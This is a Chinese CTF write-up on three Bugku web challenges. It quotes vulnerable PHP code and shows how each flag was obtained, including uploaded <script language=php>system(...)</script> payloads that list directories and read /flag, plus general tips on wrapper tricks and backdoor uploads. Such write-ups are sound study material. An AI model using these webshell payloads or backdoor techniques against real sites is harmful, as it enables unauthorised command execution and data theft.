题目源于bugku web
file_get_contents 解题 网址返回的内容如下
<?php extract ($_GET );if (!empty ($ac )){ $f = trim (file_get_contents ($fn )); if ($ac === $f ){ echo "<p>This is flag:" ." $flag </p>" ; }else { echo "<p>sorry!</p>" ; } } ?>
尝试构造url就变成了
http: 如果可以使用伪协议的话,可以尝试构造为: http: 并且抓个包,在头部末空一行再输入1 ,放行数据包。 不过构造的伪协议不知道为什么没成功过…… 最终得到的flag是这个 This is flag: flag{1 c88af690ab416b04390b6c44cb96c3a}
总结
PHP伪协议 PHP利用本地文件投机取巧
文件包含2 解题
这道题的坑点在于我没有第一时间意识到文件包含要使用指定方式而不是直接访问地址。
<script language=php>system ("ls" )</script> about hello.php index.php upload upload.php <script language=php>system ("ls /" )</script> bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var <script language=php>system ("cat /flag" )</script> flag{67 fc9d73eaa7f66ba90109ff41e45bc6}
结论 文件包含–利用后缀绕过,并且使用代码进行查询 这道题的漏洞在于:上传文件后,利用文件的可执行漏洞,调用本地的文件系统命令去查询对应的文件和目录,造成了文件目录遍历的漏洞。
解题思路:
遇到文件上传时,可以考虑这样子解决 1.伪协议,例如php伪协议 2.后门文件上传,传入自己写好的后门后再尝试进行链接
有直接访问图像或者文件所在地址的连接 有查看可执行文件白名单后,上传可执行文件后访问根目录下文件的连接 3.文件包含解决:传入的变量是一个可执行文件
No one knows regex better than me 解题 打开题目后大致获得下面的代码:
<?php error_reporting (0 );$zero =$_REQUEST ['zero' ];$first =$_REQUEST ['first' ];$second =$zero .$first ;if (preg_match_all ("/Yeedo|wants|a|girl|friend|or|a|flag/i" ,$second )){ $key =$second ; if (preg_match ("/\.\.|flag/" ,$key )){ die ("Noooood hacker!" ); }else { $third =$first ; if (preg_match ("/\\|\056\160\150\x70/i" ,$third )){ $end =substr ($third ,5 ); highlight_file (base64_decode ($zero ).$end ); } } } else { highlight_file (__FILE__ ); } ?> <?php $flag ="flag{0d53cb7ca00760f270c12514f9920d62}" ;?>
总结
PHP正则表达式当中表达式的识别 base64绕过正则表达式 八进制解码